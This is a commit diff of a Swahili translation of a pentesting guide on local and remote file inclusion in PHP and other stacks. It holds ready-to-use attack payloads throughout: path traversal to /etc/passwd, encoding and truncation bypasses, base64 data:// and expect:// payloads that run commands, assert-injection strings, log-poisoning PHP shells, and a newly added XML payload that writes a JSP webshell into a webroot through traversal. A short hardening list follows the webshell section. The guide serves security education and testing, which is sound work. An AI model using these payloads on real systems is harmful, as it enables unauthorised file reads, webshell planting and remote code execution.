Translated ['src/pentesting-web/file-inclusion/README.md', 'src/pentesti

This commit is contained in:
Translator 2025-08-18 18:21:38 +00:00
parent 38029c2352
commit bd4604e9fd
2 changed files with 184 additions and 107 deletions

View File

@ -7,7 +7,7 @@
**Remote File Inclusion (RFI):** Faili linawekwa kutoka kwa seva ya mbali (Bora: Unaweza kuandika msimbo na seva itatekeleza). Katika php hii ni **imezuiliwa** kwa default (**allow_url_include**).\
**Local File Inclusion (LFI):** Seva inaweka faili ya ndani.
Uthibitisho wa udhaifu hutokea wakati mtumiaji anaweza kudhibiti kwa njia fulani faili ambayo itakuwa ikipakiwa na seva.
Uthibitisho wa udhaifu hutokea wakati mtumiaji anaweza kudhibiti kwa namna fulani faili ambayo itakuwa inaloadiwa na seva.
**PHP functions** zenye udhaifu: require, require_once, include, include_once
@ -49,7 +49,7 @@ Angalia orodha ya LFI ya linux.
## Msingi wa LFI na bypasses
Mifano yote ni kwa ajili ya Local File Inclusion lakini inaweza kutumika pia kwa Remote File Inclusion (ukurasa=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
Mifano yote ni kwa ajili ya Local File Inclusion lakini inaweza kutumika pia kwa Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
```
http://example.com/index.php?page=../../../etc/passwd
```
@ -61,7 +61,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
Pita kuongeza herufi zaidi mwishoni mwa mfuatano uliopewa (pita ya: $\_GET\['param']."php")
Pita kuongeza herufi zaidi mwishoni mwa mfuatano uliotolewa (pita ya: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
@ -69,7 +69,7 @@ Hii ime **suluhishwa tangu PHP 5.4**
### **Uandishi**
Unaweza kutumia uandishi usio wa kawaida kama vile kuandika URL mara mbili (na mengineyo):
Unaweza kutumia uandishi usio wa kawaida kama vile kuandika URL mara mbili (na wengine):
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
@ -82,11 +82,11 @@ Labda back-end inakagua njia ya folda:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Kuchunguza Maktaba za Mfumo wa Faili kwenye Seva
### Kuchunguza Maktaba za Mfumo wa Faili kwenye Server
Mfumo wa faili wa seva unaweza kuchunguzwa kwa njia ya kurudi ili kubaini maktaba, si faili tu, kwa kutumia mbinu fulani. Mchakato huu unahusisha kubaini kina cha maktaba na kuchunguza uwepo wa folda maalum. Hapa kuna njia ya kina ya kufanikisha hili:
Mfumo wa faili wa server unaweza kuchunguzwa kwa njia ya kurudi ili kubaini maktaba, si tu faili, kwa kutumia mbinu fulani. Mchakato huu unahusisha kubaini kina cha maktaba na kuchunguza uwepo wa folda maalum. Hapa kuna njia ya kina ya kufanikisha hili:
1. **Baini Kina cha Maktaba:** Thibitisha kina cha maktaba yako ya sasa kwa kufanikiwa kupata faili ya `/etc/passwd` (inatumika ikiwa seva ni ya Linux). Mfano wa URL unaweza kuundwa kama ifuatavyo, ukionyesha kina cha tatu:
1. **Baini Kina cha Maktaba:** Thibitisha kina cha maktaba yako ya sasa kwa kufanikiwa kupata faili ya `/etc/passwd` (inatumika ikiwa server ni ya Linux). Mfano wa URL unaweza kuwa na muundo kama ifuatavyo, ukionyesha kina cha tatu:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
@ -99,17 +99,17 @@ http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=
- **Contents of `/etc/passwd`:** Uwepo wa folda `private` umethibitishwa.
4. **Recursive Exploration:** Folda zilizogunduliwa zinaweza kuchunguzwa zaidi kwa subdirectories au faili kwa kutumia mbinu ile ile au mbinu za jadi za Local File Inclusion (LFI).
Ili kuchunguza directories katika maeneo tofauti katika mfumo wa faili, badilisha payload ipasavyo. Kwa mfano, ili kuangalia kama `/var/www/` ina folda `private` (kikadiria kuwa folda ya sasa iko katika kina cha 3), tumia:
Ili kuchunguza directories katika maeneo tofauti katika mfumo wa faili, badilisha payload ipasavyo. Kwa mfano, ili kuangalia kama `/var/www/` ina folda `private` (ikiwa unapo katika kina cha 3), tumia:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Tekniki ya Kukata Njia**
### **Mbinu ya Kukata Njia**
Kukata njia ni mbinu inayotumika kubadilisha njia za faili katika programu za wavuti. Mara nyingi inatumika kufikia faili zilizozuiliwa kwa kupita baadhi ya hatua za usalama ambazo zinaongeza wahusika wa ziada mwishoni mwa njia za faili. Lengo ni kuunda njia ya faili ambayo, mara itakapobadilishwa na hatua ya usalama, bado inaelekeza kwenye faili inayotakiwa.
Kukata njia ni mbinu inayotumika kubadilisha njia za faili katika programu za wavuti. Mara nyingi hutumiwa kufikia faili zilizozuiliwa kwa kupita baadhi ya hatua za usalama ambazo zinaongeza wahusika wa ziada mwishoni mwa njia za faili. Lengo ni kuunda njia ya faili ambayo, mara itakapobadilishwa na hatua ya usalama, bado inaelekeza kwenye faili inayotakiwa.
Katika PHP, uwakilishi mbalimbali wa njia ya faili unaweza kuzingatiwa kuwa sawa kutokana na asili ya mfumo wa faili. Kwa mfano:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, na `/etc/passwd/` zote zinachukuliwa kama njia moja.
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, na `/etc/passwd/` zote zinachukuliwa kama njia sawa.
- Wakati wahusika 6 wa mwisho ni `passwd`, kuongeza `/` (kuifanya kuwa `passwd/`) hakubadilishi faili inayolengwa.
- Vivyo hivyo, ikiwa `.php` imeongezwa kwenye njia ya faili (kama `shellcode.php`), kuongeza `/.` mwishoni hakutabadilisha faili inayofikiwa.
@ -125,8 +125,8 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
```
Katika hali hizi, idadi ya traversals inayohitajika inaweza kuwa karibu 2027, lakini nambari hii inaweza kubadilika kulingana na usanidi wa seva.
- **Kutumia Sehemu za Dot na Wahusika Wengine**: Mfuatano wa traversal (`../`) uliochanganywa na sehemu za dot za ziada na wahusika unaweza kutumika kuhamasisha mfumo wa faili, kwa ufanisi ukipuuza nyongeza za mfuatano na seva.
- **Kujua Idadi Inayohitajika ya Traversals**: Kupitia majaribio na makosa, mtu anaweza kupata idadi sahihi ya mfuatano wa `../` inayohitajika kuhamasisha hadi kwenye saraka ya mzizi na kisha hadi `/etc/passwd`, kuhakikisha kwamba nyongeza zozote (kama `.php`) zimeondolewa lakini njia inayotakiwa (`/etc/passwd`) inabaki kama ilivyo.
- **Kutumia Sehemu za Dot na Wahusika Wengine**: Mfuatano wa traversal (`../`) uliochanganywa na sehemu za dot za ziada na wahusika unaweza kutumika kuvinjari mfumo wa faili, kwa ufanisi ukipuuzilia mbali nyongeza za maandiko kutoka kwa seva.
- **Kuhesabu Idadi Inayohitajika ya Traversals**: Kupitia majaribio na makosa, mtu anaweza kupata idadi sahihi ya mfuatano wa `../` inayohitajika kuvinjari hadi kwenye saraka ya mzizi na kisha hadi `/etc/passwd`, kuhakikisha kwamba nyongeza zozote za maandiko (kama `.php`) zimeondolewa lakini njia inayotakiwa (`/etc/passwd`) inabaki salama.
- **Kuanza na Saraka ya Uongo**: Ni kawaida kuanza njia na saraka isiyo na uwepo (kama `a/`). Mbinu hii inatumika kama hatua ya tahadhari au kutimiza mahitaji ya mantiki ya uchambuzi wa njia ya seva.
Wakati wa kutumia mbinu za kupunguza njia, ni muhimu kuelewa tabia ya uchambuzi wa njia ya seva na muundo wa mfumo wa faili. Kila hali inaweza kuhitaji mbinu tofauti, na majaribio mara nyingi yanahitajika ili kupata mbinu bora zaidi.
@ -152,10 +152,10 @@ Ikiwa kwa sababu fulani **`allow_url_include`** iko **On**, lakini PHP inachuja
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!NOTE]
> Katika msimbo uliopita, `+.txt` ya mwisho iliongezwa kwa sababu mshambuliaji alihitaji mfuatano ulio na mwisho `.txt`, hivyo mfuatano huo unamalizika nayo na baada ya kufungua b64 sehemu hiyo itarudisha tu takataka na msimbo halisi wa PHP utaingizwa (na hivyo, kutekelezwa).
> [!TIP]
> Katika msimbo wa awali, `+.txt` ya mwisho iliongezwa kwa sababu mshambuliaji alihitaji mfuatano unaomalizika na `.txt`, hivyo mfuatano unamalizika nayo na baada ya b64 decode sehemu hiyo itarudisha tu takataka na msimbo halisi wa PHP utaingizwa (na hivyo, kutekelezwa).
Mfano mwingine **usio tumia itifaki ya `php://`** ungekuwa:
Mfano mwingine **usitumiaji itifaki ya `php://`** ungekuwa:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
@ -166,7 +166,7 @@ Katika python katika msimbo kama huu:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
Ikiwa mtumiaji atatoa **njia kamili** kwa **`file_name`**, **njia ya awali itondolewa tu**:
Ikiwa mtumiaji atapita **njia kamili** kwa **`file_name`**, **njia ya awali inondolewa tu**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
@ -179,9 +179,9 @@ Ni tabia iliyokusudiwa kulingana na [the docs](https://docs.python.org/3.10/libr
Inaonekana kama una Path Traversal katika Java na **unaomba maktaba** badala ya faili, **orodha ya maktaba inarudishwa**. Hii haitatokea katika lugha nyingine (kama ninavyofahamu).
## Vigezo 25 Bora
## Vigezo 25 vya Juu
Hapa kuna orodha ya vigezo 25 bora ambavyo vinaweza kuwa na udhaifu wa kuingiza faili za ndani (LFI) (kutoka [link](https://twitter.com/trbughunters/status/1279768631845494787)):
Hapa kuna orodha ya vigezo 25 vya juu ambavyo vinaweza kuwa na udhaifu wa kuingiza faili za ndani (LFI) (kutoka [link](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
@ -213,14 +213,14 @@ Hapa kuna orodha ya vigezo 25 bora ambavyo vinaweza kuwa na udhaifu wa kuingiza
### php://filter
PHP filters huruhusu kufanya **operesheni za mabadiliko kwenye data** kabla ya kusomwa au kuandikwa. Kuna makundi 5 ya filters:
PHP filters huruhusu kufanya **operesheni za mabadiliko ya msingi kwenye data** kabla ya kusomwa au kuandikwa. Kuna makundi 5 ya filters:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: Ondoa lebo kutoka kwa data (kila kitu kati ya herufi "<" na ">")
- Kumbuka kwamba filter hii imeondoka katika toleo za kisasa za PHP
- Kumbuka kwamba filter hii imeondolewa katika toleo za kisasa za PHP
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
@ -229,16 +229,16 @@ PHP filters huruhusu kufanya **operesheni za mabadiliko kwenye data** kabla ya k
- `convert.iconv.*` : Hubadilisha kuwa encoding tofauti (`convert.iconv.<input_enc>.<output_enc>`). Ili kupata **orodha ya encodings zote** zinazoungwa mkono, endesha kwenye console: `iconv -l`
> [!WARNING]
> Kutumia vibaya `convert.iconv.*` conversion filter unaweza **kuunda maandiko yasiyo na mipaka**, ambayo yanaweza kuwa na manufaa kuandika maandiko yasiyo na mipaka au kufanya kazi kama kuingiza mchakato maandiko yasiyo na mipaka. Kwa maelezo zaidi angalia [**LFI2RCE kupitia php filters**](lfi2rce-via-php-filters.md).
> Kutumia vibaya `convert.iconv.*` conversion filter unaweza **kuunda maandiko yasiyo na mipaka**, ambayo yanaweza kuwa na manufaa kuandika maandiko yasiyo na mipaka au kufanya kazi kama kuingiza mchakato wa maandiko yasiyo na mipaka. Kwa maelezo zaidi angalia [**LFI2RCE kupitia php filters**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Punguza maudhui (yanafaa ikiwa unatoa taarifa nyingi)
- `zlib.deflate`: Punguza maudhui (inayofaa ikiwa unatoa taarifa nyingi)
- `zlib.inflate`: Rejesha data
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Imepitwa na wakati
- `mdecrypt.*` : Imepitwa na wakati
- Filters Nyingine
- Ukikimbia php `var_dump(stream_get_filters());` unaweza kupata couple ya **filters zisizotarajiwa**:
- Ukikimbia php `var_dump(stream_get_filters());` unaweza kupata baadhi ya **filters zisizotarajiwa**:
- `consumed`
- `dechunk`: inarudisha encoding ya HTTP chunked
- `convert.*`
@ -275,17 +275,17 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
[**Katika chapisho hili**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) inapendekezwa mbinu ya kusoma faili ya ndani bila kupata matokeo kutoka kwa seva. Mbinu hii inategemea **kuhamasisha boolean ya faili (karakteri kwa karakteri) kwa kutumia filters za php** kama oracle. Hii ni kwa sababu filters za php zinaweza kutumika kufanya maandiko kuwa makubwa vya kutosha ili php itupe kosa.
Katika chapisho la asili unaweza kupata maelezo ya kina kuhusu mbinu hii, lakini hapa kuna muhtasari wa haraka:
Katika chapisho la asili unaweza kupata maelezo ya kina ya mbinu hii, lakini hapa kuna muhtasari wa haraka:
- Tumia codec **`UCS-4LE`** kuacha herufi inayoongoza ya maandiko mwanzoni na kufanya ukubwa wa mfuatano kuongezeka kwa kasi.
- Hii itatumika kuzalisha **maandishi makubwa sana wakati herufi ya mwanzo inakisiwa kwa usahihi** kwamba php itasababisha **kosa**
- Filter ya **dechunk** it **ondoa kila kitu ikiwa herufi ya kwanza si hexadecimal**, hivyo tunaweza kujua ikiwa herufi ya kwanza ni hex.
- Hii, ikichanganywa na ile ya awali (na filters nyingine kulingana na herufi iliyokisiwa), itaturuhusu kukisia herufi mwanzoni mwa maandiko kwa kuona wakati tunafanya mabadiliko ya kutosha ili kufanya isiwe herufi ya hexadecimal. Kwa sababu ikiwa ni hex, dechunk haitaiondoa na bomu la awali litafanya php ipate kosa.
- Codec **convert.iconv.UNICODE.CP930** inabadilisha kila herufi kuwa ifuatayo (hivyo baada ya codec hii: a -> b). Hii inaturuhusu kugundua ikiwa herufi ya kwanza ni `a` kwa mfano kwa sababu ikiwa tutatumia 6 za codec hii a->b->c->d->e->f->g herufi haitakuwa tena herufi ya hexadecimal, kwa hivyo dechunk haikuondoa na kosa la php linachochewa kwa sababu linazidisha na bomu la awali.
- Codec **convert.iconv.UNICODE.CP930** inabadilisha kila herufi kuwa ifuatayo (hivyo baada ya codec hii: a -> b). Hii inaturuhusu kugundua ikiwa herufi ya kwanza ni `a` kwa mfano kwa sababu ikiwa tutatumia 6 za codec hii a->b->c->d->e->f->g herufi haitakuwa tena herufi ya hexadecimal, kwa hivyo dechunk haitaiondoa na kosa la php linachochewa kwa sababu linazidisha na bomu la awali.
- Kutumia mabadiliko mengine kama **rot13** mwanzoni inawezekana kuvuja herufi nyingine kama n, o, p, q, r (na codecs nyingine zinaweza kutumika kuhamasisha herufi nyingine kwenye eneo la hex).
- Wakati herufi ya mwanzo ni nambari inahitajika kuibua kwa base64 na kuvuja herufi 2 za kwanza ili kuvuja nambari.
- Tatizo la mwisho ni kuona **jinsi ya kuvuja zaidi ya herufi ya mwanzo**. Kwa kutumia filters za kumbukumbu za agizo kama **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** inawezekana kubadilisha agizo la herufi na kupata katika nafasi ya kwanza herufi nyingine za maandiko.
- Na ili kuwa na uwezo wa kupata **data zaidi** wazo ni **kuunda bytes 2 za data za takataka mwanzoni** kwa kutumia **convert.iconv.UTF16.UTF16**, tumia **UCS-4LE** ili kufanya iwe **pivot na bytes 2 zinazofuata**, na **ondoa data hadi takataka** (hii itafuta bytes 2 za kwanza za maandiko ya awali). Endelea kufanya hivi hadi ufikie kipande kinachotakiwa kuvuja.
- Wakati herufi ya awali ni nambari inahitajika kuibua kwa base64 na kuvuja herufi 2 za kwanza ili kuvuja nambari.
- Tatizo la mwisho ni kuona **jinsi ya kuvuja zaidi ya herufi ya awali**. Kwa kutumia filters za kumbukumbu za agizo kama **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** inawezekana kubadilisha agizo la herufi na kupata katika nafasi ya kwanza herufi nyingine za maandiko.
- Na ili kuwa na uwezo wa kupata **data zaidi** wazo ni **kuunda bytes 2 za data za junk mwanzoni** kwa kutumia **convert.iconv.UTF16.UTF16**, tumia **UCS-4LE** ili kufanya iwe **pivot na bytes 2 zinazofuata**, na **ondoa data hadi data za junk** (hii itafuta bytes 2 za kwanza za maandiko ya awali). Endelea kufanya hivi hadi ufikie kipande kinachotakiwa kuvuja.
Katika chapisho zana ya kufanya hii kiotomatiki pia ilivuja: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
@ -326,11 +326,11 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
Kumbuka kwamba protokali hii imepunguziliwa mbali na mipangilio ya php **`allow_url_open`** na **`allow_url_include`**
Kumbuka kwamba protokali hii imepunguzwa na mipangilio ya php **`allow_url_open`** na **`allow_url_include`**
### expect://
Expect inapaswa kuanzishwa. Unaweza kutekeleza msimbo kwa kutumia hii:
Expect inapaswa kuwezeshwa. Unaweza kutekeleza msimbo kwa kutumia hii:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
@ -352,15 +352,15 @@ $phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
```
Ili kukusanya faili ya `.phar`, amri ifuatayo inapaswa kutekelezwa:
Ili kuunda faili la `.phar`, amri ifuatayo inapaswa kutekelezwa:
```bash
php --define phar.readonly=0 create_path.php
```
Kwa utekelezaji, faili lililoitwa `test.phar` litaundwa, ambalo linaweza kutumika ku exploit Local File Inclusion (LFI) vulnerabilities.
Kwa utekelezaji, faili lililo na jina `test.phar` litaundwa, ambalo linaweza kutumika ku exploit Local File Inclusion (LFI) vulnerabilities.
Katika hali ambapo LFI inafanya tu kusoma faili bila kutekeleza PHP code ndani yake, kupitia kazi kama `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, au `filesize()`, ku exploit udhaifu wa deserialization kunaweza kujaribiwa. Udhaifu huu unahusishwa na kusoma faili kwa kutumia protokali ya `phar`.
Katika hali ambapo LFI inafanya tu kusoma faili bila kutekeleza PHP code ndani yake, kupitia kazi kama `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, au `filesize()`, kujaribu exploit udhaifu wa deserialization kunaweza kufanywa. Udhaifu huu unahusishwa na kusoma faili kwa kutumia protokali ya `phar`.
Kwa ufahamu wa kina wa ku exploit udhaifu wa deserialization katika muktadha wa faili za `.phar`, rejelea hati iliyo na kiungo hapa chini:
Kwa ufahamu wa kina wa jinsi ya ku exploit udhaifu wa deserialization katika muktadha wa faili za `.phar`, rejea kwenye hati iliyo na kiungo hapa chini:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
@ -371,31 +371,31 @@ phar-deserialization.md
### CVE-2024-2961
Ilikuwa inawezekana kutumia **faili yoyote isiyo ya kawaida iliyosomwa kutoka PHP inayounga mkono filters za php** kupata RCE. Maelezo ya kina yanaweza [**kupatikana katika chapisho hili**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Muhtasari wa haraka: **overflow ya byte 3** katika PHP heap ilitumiwa vibaya ili **kubadilisha mchain ya chunks za bure** za ukubwa maalum ili kuweza **kuandika chochote katika anwani yoyote**, hivyo hook iliongezwa kuita **`system`**.\
Ilikuwa inawezekana kugawa chunks za ukubwa maalum kwa kutumia filters zaidi za php.
Muhtasari wa haraka: **overflow ya byte 3** katika PHP heap ilitumiwa vibaya kubadilisha **mnyororo wa vipande vya bure** vya ukubwa maalum ili kuweza **kuandika chochote katika anwani yoyote**, hivyo hook iliongezwa kuita **`system`**.\
Ilikuwa inawezekana kugawa vipande vya ukubwa maalum kwa kutumia filters zaidi za php.
### Protokali zaidi
Angalia protokali zaidi zinazowezekana [**kujumuisha hapa**](https://www.php.net/manual/en/wrappers.php)**:**
Angalia protokali zaidi zinazoweza [**kujumuishwa hapa**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Andika katika kumbukumbu au katika faili ya muda (sijui jinsi hii inaweza kuwa na manufaa katika shambulio la kuingiza faili)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Kufikia mfumo wa faili wa ndani
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Kufikia URL za HTTP(s)
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Kufikia URL za FTP(s)
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Pata majina ya njia yanayolingana na muundo (Hairejeshi chochote kinachoweza kuchapishwa, hivyo si kweli yenye manufaa hapa)
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Mito ya Usawazishaji
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Pata majina ya njia yanayolingana na muundo (Hairejeshi chochote kinachoweza kuchapishwa, hivyo si kweli muhimu hapa)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Mipangilio ya sauti (Siyo yenye manufaa kusoma faili zisizo za kawaida)
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Mito ya sauti (Sio muhimu kusoma faili zisizo za kawaida)
## LFI kupitia 'assert' ya PHP
Hatari za Local File Inclusion (LFI) katika PHP ni za juu sana wakati wa kushughulikia kazi ya 'assert', ambayo inaweza kutekeleza code ndani ya nyuzi. Hii ni tatizo hasa ikiwa ingizo linalojumuisha wahusika wa kupita kwenye saraka kama ".." linakaguliwa lakini halijasafishwa ipasavyo.
Hatari za Local File Inclusion (LFI) katika PHP ni za juu sana linapokuja suala la kazi ya 'assert', ambayo inaweza kutekeleza code ndani ya nyuzi. Hii ni tatizo hasa ikiwa ingizo lililo na wahusika wa kupita kwenye saraka kama ".." linakaguliwa lakini halijasafishwa ipasavyo.
Kwa mfano, code ya PHP inaweza kuundwa kuzuia kupita kwenye saraka kama ifuatavyo:
```bash
assert("strpos('$file', '..') === false") or die("");
```
Wakati hii inakusudia kuzuia traversal, inasababisha bila kukusudia kuunda njia ya kuingiza msimbo. Ili kutumia hii kusoma maudhui ya faili, mshambuliaji anaweza kutumia:
Wakati hii inakusudia kuzuia traversal, inasababisha bila kukusudia vector ya kuingiza msimbo. Ili kutumia hii kusoma maudhui ya faili, mshambuliaji anaweza kutumia:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
@ -403,14 +403,14 @@ Vivyo hivyo, kwa kutekeleza amri za mfumo zisizo na mpangilio, mtu anaweza kutum
```plaintext
' and die(system("id")) or '
```
Ni muhimu **kuandika URL hizi payloads**.
Ni muhimu **URL-encode hizi payloads**.
## PHP Blind Path Traversal
> [!WARNING]
> Mbinu hii inahusiana katika hali ambapo unadhibiti **file path** ya **PHP function** ambayo itafanya **access a file** lakini huwezi kuona maudhui ya faili (kama wito rahisi kwa **`file()`**) lakini maudhui hayataonyeshwa.
> Mbinu hii inahusiana na hali ambapo unadhibiti **file path** ya **PHP function** ambayo itafanya **access a file** lakini huwezi kuona maudhui ya faili (kama wito rahisi kwa **`file()`**) lakini maudhui hayakuonyeshwa.
Katika [**hiki kipande cha ajabu**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) inaelezwa jinsi traversal ya njia ya kipofu inaweza kutumika vibaya kupitia PHP filter ili **kuondoa maudhui ya faili kupitia oracle ya makosa**.
Katika [**hiki kipande cha ajabu**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) inaelezwa jinsi blind path traversal inaweza kutumika vibaya kupitia PHP filter ili **kuondoa maudhui ya faili kupitia oracle ya makosa**.
Kwa muhtasari, mbinu inatumia **"UCS-4LE" encoding** kufanya maudhui ya faili kuwa **makubwa** kiasi kwamba **PHP function inayofungua** faili itasababisha **makosa**.
@ -422,20 +422,66 @@ Kwa maelezo ya kiufundi angalia kipande kilichotajwa!
## LFI2RCE
### Remote File Inclusion
### Kuandika Faili ya Kichaguliwa kupitia Path Traversal (Webshell RCE)
Imeelezwa hapo awali, [**fuata kiungo hiki**](#remote-file-inclusion).
Wakati msimbo wa upande wa seva unaopokea/kuweka faili unajenga njia ya marudio kwa kutumia data inayodhibitiwa na mtumiaji (k.m., jina la faili au URL) bila kuifanya kuwa ya kawaida na kuithibitisha, sehemu za `..` na njia za moja kwa moja zinaweza kutoroka kutoka kwenye directory iliyokusudiwa na kusababisha kuandika faili ya kiholela. Ikiwa unaweza kuweka payload chini ya directory inayoweza kuonekana kwenye wavuti, kwa kawaida unapata RCE isiyo na uthibitisho kwa kuacha webshell.
### Kupitia faili za log za Apache/Nginx
Mchakato wa kawaida wa unyakuzi:
- Tambua primitive ya kuandika katika mwisho au mfanyakazi wa nyuma ambao unakubali njia/jina la faili na kuandika maudhui kwenye diski (k.m., upokeaji unaoendeshwa na ujumbe, waandishi wa amri za XML/JSON, extractor za ZIP, n.k.).
- Tambua directories zinazoweza kuonekana kwenye wavuti. Mifano ya kawaida:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → acha `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → acha `shell.aspx`
- Tengeneza njia ya traversal inayovunja kutoka kwenye directory ya uhifadhi iliyokusudiwa hadi kwenye webroot, na jumuisha maudhui ya webshell yako.
- Tembelea payload iliyotolewa na kutekeleza amri.
Ikiwa seva ya Apache au Nginx ni **dhaifu kwa LFI** ndani ya kazi ya kujumuisha unaweza kujaribu kufikia **`/var/log/apache2/access.log` au `/var/log/nginx/access.log`**, kuweka ndani ya **user agent** au ndani ya **GET parameter** shell ya php kama **`<?php system($_GET['c']); ?>`** na kujumuisha faili hiyo.
Maelezo:
- Huduma iliyo hatarini inayofanya kuandika inaweza kusikiliza kwenye bandari isiyo ya HTTP (k.m., msikilizaji wa JMF XML kwenye TCP 4004). Portal kuu ya wavuti (bandari tofauti) itatoa payload yako baadaye.
- Katika stack za Java, hizi kuandika faili mara nyingi zinafanywa kwa kuunganisha rahisi `File`/`Paths`. Ukosefu wa kuifanya kuwa ya kawaida/kuorodhesha ni kasoro kuu.
Mfano wa kawaida wa XML/JMF (mifano ya bidhaa inatofautiana DOCTYPE/mwili wa wrapper si muhimu kwa traversal):
```xml
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
```
Hardening that defeats this class of bugs:
- Resolve to a canonical path and enforce it is a descendant of an allow-listed base directory.
- Reject any path containing `..`, absolute roots, or drive letters; prefer generated filenames.
- Run the writer as a low-privileged account and segregate write directories from served roots.
## Remote File Inclusion
Imepangwa hapo awali, [**fuata kiungo hiki**](#remote-file-inclusion).
### Via Apache/Nginx log file
Ikiwa seva ya Apache au Nginx ni **vulnerable to LFI** ndani ya kazi ya kujumuisha unaweza kujaribu kufikia **`/var/log/apache2/access.log` au `/var/log/nginx/access.log`**, kuweka ndani ya **user agent** au ndani ya **GET parameter** shell ya php kama **`<?php system($_GET['c']); ?>`** na ujumuishe hiyo faili
> [!WARNING]
> Kumbuka kwamba **ikiwa unatumia nukuu mbili** kwa shell badala ya **nukuu rahisi**, nukuu mbili zitaondolewa kwa string "_**quote;**_", **PHP itatupa makosa** hapo na **hakuna kingine kitakachotekelezwa**.
> Kumbuka kwamba **ikiwa unatumia nukuu mbili** kwa ajili ya shell badala ya **nukuu rahisi**, nukuu mbili zitaondolewa kwa ajili ya string "_**quote;**_", **PHP itatupa kosa** hapo na **hakuna kingine kitakachotekelezwa**.
>
> Pia, hakikisha unandika **sahihi payload** au PHP itakosea kila wakati inajaribu kupakia faili la log na hutakuwa na fursa ya pili.
> Pia, hakikisha unafanya **kuandika payload kwa usahihi** au PHP itakosa kila wakati inajaribu kupakia faili la log na hutakuwa na fursa ya pili.
Hii inaweza pia kufanywa katika log nyingine lakini **kuwa makini,** msimbo ndani ya log unaweza kuwa umeandikwa URL na hii inaweza kuharibu Shell. Kichwa **authorisation "basic"** kina "user:password" katika Base64 na kinatolewa ndani ya log. PHPShell inaweza kuingizwa ndani ya kichwa hiki.\
